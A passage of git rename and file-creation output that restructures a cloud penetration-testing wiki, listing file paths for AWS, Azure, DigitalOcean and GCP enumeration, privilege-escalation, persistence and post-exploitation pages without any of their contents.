 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md (76%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md (63%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-efs-enum.md (51%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-elastic-beanstalk-enum.md (57%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-iam-enum.md (66%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-lambda-enum.md (69%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-msk-enum.md (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-redshift-enum.md (70%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-relational-database-rds-enum.md (53%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md (69%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/README.md (100%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md (66%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md (77%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md (81%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md (60%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md (75%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-security-hub-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-shield-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md (73%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-ses-enum.md (61%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-services/aws-stepfunctions-enum.md (56%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md (51%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md (50%)
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md (59%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md (68%)
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/README.md (68%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-basic-information/README.md (65%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-basic-information/az-tokens-and-public-applications.md (62%)
 create mode 100644 src/pentesting-cloud/azure-security/az-device-registration.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-enumeration-tools.md (68%)
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md (63%)
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md (59%)
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md (66%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md (60%)
 create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md (61%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md (63%)
 create mode 100644 src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-persistence/README.md (53%)
 create mode 100644 src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
 create mode 100644 src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md
 create mode 100644 src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-post-exploitation/README.md (100%)
 create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
 create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
 create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md (57%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-post-exploitation/az-queue-post-exploitation.md (59%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md (68%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-post-exploitation/az-sql-post-exploitation.md (62%)
 create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md (61%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/README.md (100%)
 create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-authorization-privesc.md (52%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-entraid-privesc/README.md (73%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md (67%)
 create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-functions-app-privesc.md (79%)
 create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-queue-privesc.md (54%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-servicebus-privesc.md (72%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-sql-privesc.md (59%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-storage-privesc.md (60%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md (85%)
 create mode 100644 src/pentesting-cloud/azure-security/az-services/README.md
 create mode 100644 src/pentesting-cloud/azure-security/az-services/az-acr.md
 rename pentesting-cloud/azure-security/az-services/az-app-services.md => src/pentesting-cloud/azure-security/az-services/az-app-service.md (66%)
 create mode 100644 src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
 create mode 100644 src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-automation-account/README.md (66%)
 create mode 100644 src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-azuread.md (79%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-file-shares.md (58%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-function-apps.md (66%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-logic-apps.md (52%)
 create mode 100644 src/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md
 create mode 100644 src/pentesting-cloud/azure-security/az-services/az-queue-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-servicebus-enum.md (54%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-sql.md (70%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/az-storage.md (62%)
 create mode 100644 src/pentesting-cloud/azure-security/az-services/az-table-storage.md
 create mode 100644 src/pentesting-cloud/azure-security/az-services/intune.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/keyvault.md (65%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/vms/README.md (80%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-services/vms/az-azure-network.md (77%)
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-unauthenticated-enum-and-initial-entry/README.md (80%)
 create mode 100644 src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md
 rename {pentesting-cloud => src/pentesting-cloud}/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md (62%)
 create mode 100644 src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
 create mode 100644 src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/digital-ocean-pentesting/do-basic-information.md (73%)
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-permissions-for-a-pentest.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/README.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-container-registry.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-databases.md
 rename {pentesting-cloud => src/pentesting-cloud}/digital-ocean-pentesting/do-services/do-droplets.md (57%)
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-images.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-networking.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-projects.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-spaces.md
 create mode 100644 src/pentesting-cloud/digital-ocean-pentesting/do-services/do-volumes.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/README.md (55%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-basic-information/README.md (73%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-permissions-for-a-pentest.md (100%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-persistence/README.md (100%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-persistence/gcp-non-svc-persistance.md (63%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/README.md (100%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md (76%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md (52%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md (53%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md (52%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md (72%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md (55%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md (56%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/README.md (55%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md (64%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md (58%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md (54%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md (57%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md (64%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md (58%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md (56%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md (77%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md (56%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md (54%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md (60%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md (58%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md (62%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md (64%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md (50%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/README.md (100%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-app-engine-enum.md (59%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-artifact-registry-enum.md (54%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-bigquery-enum.md (64%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-compute-instances-enum/README.md (63%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md (52%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md (54%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md (58%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-firebase-enum.md (59%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md (55%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-kms-enum.md (57%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-logging-enum.md (58%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-pub-sub.md (58%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-security-enum.md (53%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-source-repositories-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-spanner-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-stackdriver-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-services/gcp-storage-enum.md (61%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-to-workspace-pivoting/README.md (68%)
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md (56%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-artifact-registry-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-functions-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-run-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
 rename {pentesting-cloud => src/pentesting-cloud}/gcp-security/gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md (65%)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
